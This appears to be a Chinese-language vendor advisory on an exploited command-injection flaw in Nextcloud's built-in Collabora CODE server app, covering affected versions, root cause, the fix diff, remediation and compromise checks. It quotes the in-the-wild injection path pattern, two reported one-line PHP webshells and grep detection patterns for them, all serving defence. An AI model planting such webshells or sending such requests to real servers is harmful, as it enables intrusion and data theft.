Collabora CODE Server RCE 已遭在野利用(CVE-2026-110447)
Collabora 将 CVE-2026-110447 评为严重,CVSS v4.0 9.2:在 Nextcloud 的 Collabora Online Built-in CODE Server 应用(richdocumentscode)26.4.303 之前的版本中,只要内置 CODE 服务器未运行,未经身份验证的攻击者就能通过 proxy.php 以 Web 服务器用户身份执行操作系统命令。应用版本 26.4.303 已修复。CISA 于 2026 年 10 月 23 日将其加入 KEV 目录,管理员报告的攻击可追溯至 2026 年 9 月中旬。
要点速览
- Nextcloud 的“Collabora Online - Built-in CODE Server”应用(包名
richdocumentscode)运行一个小型 PHP 代理 proxy.php,通过 shell 命令启动内置 Collabora 服务器。在 26.4.303 之前的版本中,请求的 Host 头,以及 HTTPS 请求的路径,会以 PHPescapeshellarg()无法保护的方式进入该命令,因此未经身份验证的请求可作为 Web 服务器用户执行操作系统命令。 - 只有在内置 CODE 服务器未运行时攻击才有效,例如容器重启后、升级期间或崩溃之后。独立 Collabora 服务器、Docker 或发行版软件包中的 Collabora,以及 Nextcloud All-in-One 部署不受影响。
- Collabora 将漏洞评为严重,CVSS v4.0 9.2。它已遭在野利用:CISA 于 2026 年 10 月 23 日将 CVE-2026-110447 加入已知被利用漏洞目录,修复期限为 2026 年 10 月 26 日;管理员报告了早至 2026 年 9 月 10 日植入 PHP Webshell 的攻击。
- 将应用升级至 26.4.303 或更高版本;如果不使用该应用,则将其移除。Collabora 明确表示,仅禁用应用并不足够。
我是否受到影响?
以下条件全部成立时,您就受到影响:
- Nextcloud 安装了“Collabora Online - Built-in CODE Server”应用(包名
richdocumentscode)。 - 已安装版本早于 26.4.303。
- 内置 CODE 服务器可能停止运行,例如重启、升级或崩溃时。应用通常会保持其运行,但停止期间恰恰就是攻击触发的窗口。
如果使用单独的 richdocuments 连接器应用连接外部 Collabora 服务器、独立 Collabora Online 服务器、Docker 或 Linux 发行版软件包中的 Collabora、托管 Collabora 服务,或 Nextcloud All-in-One,则不受影响。
| 部署 | 受影响版本 | 修复版本 |
|---|---|---|
Collabora Online - Built-in CODE Server 应用(richdocumentscode) |
< 26.4.303 | 26.4.303(当前稳定版本为 26.4.502) |
| 独立 Collabora、Docker 或发行版软件包、Nextcloud All-in-One | 不受影响 | - |
检查已安装内容。应用版本记录在 info.xml 中:
# Installed app version (adjust the path to your Nextcloud root)
grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
# Is the app present at all? occ checks every app directory, including custom_apps/
sudo -u www-data php occ app:list | grep richdocumentscode
# Container image check
docker run --rm <your-image> grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
Nextcloud 官方 Docker 镜像将 App Store 应用安装在 custom_apps/ 而非 apps/ 下,因此请相应调整上述路径。在 Nextcloud 管理界面中,版本显示在“应用”下的“Collabora Online - Built-in CODE Server”旁边。
如何修复?
通过管理界面中的“应用”,从 Nextcloud App Store 升级该应用,或使用 occ 命令(以 Web 服务器用户运行):
sudo -u www-data php occ app:update richdocumentscode
App Store 为 Nextcloud 30 至 35 提供的稳定渠道版本是 26.4.502。26.4.303 及以上版本均包含修复。
如果运行已终止支持的 Nextcloud(29 或更早版本),App Store 为这些版本提供的 26.4.104 早于修复版本。Collabora 建议先将 Nextcloud 升级至受支持版本,再更新应用,或者移除应用。如果不使用内置服务器,移除应用就是正确做法。
以下两种做法不能有效缓解问题:
- 禁用应用。Collabora 公告明确表示:“仅禁用应用不足以避免问题,必须升级至 >= 26.4.303 或移除。”原因是 proxy.php 是由 Web 服务器直接执行的独立脚本。它不会加载 Nextcloud 框架,因此从不检查应用是否启用;只要文件仍在磁盘上,就仍可通过 HTTP 访问。
- 保持 CODE 服务器运行。每次重启、升级和崩溃都会令其停止,这些间隙正是攻击窗口。
根本原因是什么?
操作系统命令注入意味着攻击者输入进入 shell 命令,并改变 shell 执行的内容。注入点是 proxy.php 中的 startCoolwsd() 函数。
内置 CODE Server 应用以 AppImage 形式提供 Collabora,并按需启动。当请求到达且本地 Collabora 服务未运行时,proxy.php 会构建启动命令,包含请求自身的 Host 头,以及 HTTPS 请求的路径:
// proxy.php, startCoolwsd(), release 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);
逐项分析:
$_SERVER['HTTP_HOST']是入站请求的 Host 头,完全由攻击者控制。$_SERVER['REQUEST_URI']是请求路径和查询串,也由攻击者控制。在 HTTPS 请求中,它被放入$remoteFontConfig。这就是在野观察到的攻击向量:Webshell 报告中的请求将 shell 语法放在路径里,例如/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status。escapeshellarg()为每个值添加单引号。这可保护在单个 shell 命令中作为单个参数使用的值。- 结果被插入
$launchCmd,它是包含bash -c "( ... )"的双引号字符串。 exec($launchCmd)将整行交给操作系统 shell。
漏洞在于第二层 shell。在双引号包围的 bash -c "..." 片段中,escapeshellarg() 添加的单引号只是字面字符,不具备引用保护作用;外层 shell 为 bash 构建参数时,会再次解析这个片段。包含命令替换等 shell 语法的 Host 头能够穿过单引号保护,并在第二次解析时被解释。针对单层 shell 上下文作出的引用决策,被用于双层 shell 上下文。
26.4.303 的修复对整个内层命令进行引用,而不再信任逐值引用能够保持有效:
// proxy.php, startCoolwsd(), release 26.4.303
- $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
+ $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+ $launchCmd = "bash -c " . escapeshellarg($innerCmd);
现在,bash -c 会将整个启动脚本作为一个经过安全引用的参数接收,其中任何内容,包括 Host 头和请求路径值,都不会再被外层 shell 重新解析。
公告指出,这与 CVE-2025-66208 不是同一条路径,较早漏洞的修复也无法防止此次问题。
如何利用?
公告未附概念验证,但利用路径很短,管理员报告描述了它自 2026 年 9 月中旬以来的使用情况:
- 攻击者请求到达 proxy.php。该脚本无需身份验证便接受
status查询和req=查询,是应用向内置 Collabora 服务器代理请求的入口。 - 内置 CODE 服务器未运行:容器刚重启、正在升级,或服务器崩溃。proxy.php 无法打开本地套接字,因此调用
startCoolwsd()。 - 攻击者输入,即请求路径(在野报告中的攻击方式)或 Host 头中的 shell 语法,经
escapeshellarg()处理后进入启动命令中双引号包围的bash -c字符串。 exec($launchCmd)通过系统 shell 运行整行。双引号片段被再次解析,请求头中的 shell 语法被执行,命令以 Web 服务器用户身份运行,通常为 www-data。- 获得 Web 服务器用户的命令执行能力后,攻击者向应用目录写入 PHP Webshell,由同一 Web 服务器提供访问。此后的请求看起来就像普通 PHP 流量。
攻击流程
路径或 Host 中带有 shell 语法"] --> B["内置 CODE 服务器停止:
重启、升级或崩溃"] B --> C["startCoolwsd() 构建
bash -c 启动命令"] C --> D["经 escapeshellarg 处理的路径或 Host 值
位于双引号内部"] D --> E["外层 shell 重新解析片段,
注入语法被执行"] E --> F["命令以 Web 服务器
用户身份运行"] F --> G["在应用目录中植入
PHP Webshell"]
缺失的检查位于 D 与 E 之间:没有针对第二层 shell 为 Host 头或请求路径值重新添加引用保护。
攻击者能做什么?
以 Web 服务器用户身份在 Nextcloud 主机上执行命令。BleepingComputer 收集的管理员报告描述了攻击者利用此权限搜索密码数据库、密码管理器相关文件和加密货币钱包,并植入 PHP Webshell 实现持久化。部分用户报告了勒索软件活动,但 BleepingComputer 无法独立确认。
攻击所需条件都很常见:
- 已安装该应用,且版本早于 26.4.303。
- 内置 CODE 服务器当时未运行。
- proxy.php 可通过网络访问。CVSS v4.0 向量为
AV:N/AC:L/AT:P/PR:N/UI:N,不需要权限或用户交互;之所以存在攻击前提条件,正是因为需要服务器停止运行的窗口。
攻击者不需要 Nextcloud 账户。CISA KEV 条目将联邦机构的修复期限设为 2026 年 10 月 26 日,将勒索软件使用情况标为未知,并要求依照 BOD 26-04 进行取证分级处理。
为什么修复有效?
26.4.302 与 26.4.303 的差异显示,补丁将仅对单个值引用改为对整个命令引用。escapeshellarg($innerCmd) 使启动脚本成为单个 shell 参数:无论 Host 头和请求路径贡献了哪些字节,都包含在这一个参数内部,外层 shell 不会将它们解释为语法。修复涵盖两个攻击者可控值:$lok_allow 中的 Host 头,以及 $remoteFontConfig 中由 Host 头和请求路径(REQUEST_URI)构建的远程字体配置 URL。两者都位于 $innerCmd 内,因此受到相同的引用保护。
仍有一点需要注意:应用依然会从 Web 请求中通过 exec() 启动大型二进制程序。这种设计使漏洞具有重大影响,但修复后的引用方式消除了攻击者对命令的控制。
如何检查是否已遭入侵?
除媒体报道和论坛帖子中的攻击报告外,Collabora 和 CISA 未公布其他入侵指标。根据这些报告:
- 查找应用目录内意外出现的 PHP 文件。richdocumentscode 问题跟踪器中的 Webshell 报告列出了名为
shx*.php和shrf*.php的文件(例如shxa35d0.php和shrf4645.php),内容为<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');。一名管理员的 Nextcloud 完整性检查在apps/richdocumentscode/标记出额外文件Nx_33143.php,其中包含单行 Webshell:<?php system($_GET[c]);。在管理设置中运行完整性检查,或直接检查应用文件夹:
# Unexpected PHP files in the app folder (apps/ or custom_apps/)
find apps/richdocumentscode custom_apps/richdocumentscode -name '*.php' 2>/dev/null | sort
# The reported webshell file names
find apps/richdocumentscode custom_apps/richdocumentscode \( -name 'sh*.php' -o -name 'Nx_*.php' \) 2>/dev/null
# The reported webshell patterns
grep -rlE 'system\(\$_GET|shell_exec\(' apps/richdocumentscode/ custom_apps/richdocumentscode/ 2>/dev/null
- 向前审查 Web 服务器访问日志,最早到管理员报告中的 2026 年 9 月 10 日,查找对 proxy.php 的请求,包括
proxy.php?status请求、路径含有$(等 shell 语法的请求(报告中的攻击使用了/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status这样的路径),以及 Host 头值不是您域名的请求。 - 假定 Web 服务器用户可读取的密钥已暴露:config.php 中的数据库密码、应用密码,以及可访问数据目录中的任何内容。轮换这些凭据。
时间线
- 2026 年 9 月 9 日:Collabora 提交修复。
- 2026 年 9 月 10 日:管理员报告中最早的攻击流量。
- 2026 年 9 月 11 日:根据更新日志,richdocumentscode 26.4.303 发布。
- 2026 年 10 月 3 日:Nextcloud 论坛发布社区警告,提醒正在发生的利用活动。
- 2026 年 10 月 14 日:Collabora 发布公告 GHSA-g3vx-3m76-fghh,CVE-2026-110447 发布。同一漏洞在 richdocumentscode 包中也以 GHSA-F97P-R72Q-64H2 跟踪。
- 2026 年 10 月 15 日:BleepingComputer 报道攻击,以及修复和公告之间长达一个月的间隔。
- 2026 年 10 月 23 日:CISA 将 CVE-2026-110447 加入 KEV 目录,期限为 2026 年 10 月 26 日。
- 2026 年 10 月 24 日:本文发布。KEV 收录确认了在野利用。
常见问题
独立 Collabora 服务器或 richdocuments 应用受影响吗?
不受影响。漏洞位于内置 CODE Server 应用的 proxy.php,该脚本用于启动捆绑的 AppImage。独立 Collabora Online 服务器、Docker 或发行版软件包中的 Collabora、托管 Collabora 服务,以及 Nextcloud All-in-One 部署均不受影响。
我禁用了应用,是否已经安全?
没有。Collabora 公告明确指出,仅禁用应用不足够,必须升级至 26.4.303 或更高版本,或移除应用。请升级或移除。
这与 CVE-2025-66208 是同一个漏洞吗?
不是。公告说明,这与较早的 CVE-2025-66208 不是同一条路径,那个问题的修复无法防止此次漏洞。无论是否应用过较早修复,都需要 26.4.303 补丁。
为什么 CVE 一个月后才出现?
修复于 2026 年 9 月 11 日发布,公告和 CVE 则于 2026 年 10 月 14 日发布。Collabora 将延迟主要归因于 AI 驱动的安全报告数量增加,使 GitHub CVE 处理积压加剧;Nextcloud 表示,这段间隔给了用户更新时间。攻击者并未等待:管理员报告描述了自 9 月 10 日起的攻击。
我的实例运行已终止支持的 Nextcloud,该怎么办?
App Store 为 Nextcloud 29 及更早版本提供的 26.4.104 低于修复版本,因此在这些版本上更新应用无法解决问题。请先将 Nextcloud 升级至受支持版本,再升级应用,或彻底移除应用。
如何确认应用已运行修复版本?
检查 apps/richdocumentscode/appinfo/info.xml,确认版本为 26.4.303 或更高,或在管理界面的“应用”页面读取版本。受支持 Nextcloud 版本的当前稳定应用版本是 26.4.502。
使用 Ostorlab 扫描 Web 资产,识别其暴露的 Nextcloud 和 Collabora 版本,包括仍运行受影响应用的实例。
参考资料
- Collabora 公告 GHSA-g3vx-3m76-fghh:https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh (2026 年 10 月 24 日核查)
- CVE-2026-110447 的 CISA KEV 目录条目,2026 年 10 月 23 日加入,期限为 2026 年 10 月 26 日:https://www.cisa.gov/known-exploited-vulnerabilities-catalog (2026 年 10 月 24 日核查)
- 修复差异,richdocumentscode 26.4.302 至 26.4.303:https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 (2026 年 10 月 24 日核查)
- 26.4.302 标签中存在漏洞的 proxy.php:https://raw.githubusercontent.com/CollaboraOnline/richdocumentscode/26.4.302/proxy.php (2026 年 10 月 24 日核查)
- BleepingComputer,《黑客利用 Collabora RCE 漏洞在 Nextcloud 服务器植入后门》,2026 年 10 月 15 日:https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/ (2026 年 10 月 24 日核查)
- 包含 Webshell 报告的 Nextcloud 论坛警告:https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 (2026 年 10 月 24 日核查)
- Webshell 报告问题:https://github.com/CollaboraOnline/richdocumentscode/issues/354 (2026 年 10 月 24 日核查)
- CVE-2026-110447 记录:https://nvd.nist.gov/vuln/detail/CVE-2026-110447 (2026 年 10 月 24 日核查)
- richdocumentscode 的 Nextcloud App Store 页面:https://apps.nextcloud.com/apps/richdocumentscode (2026 年 10 月 24 日核查)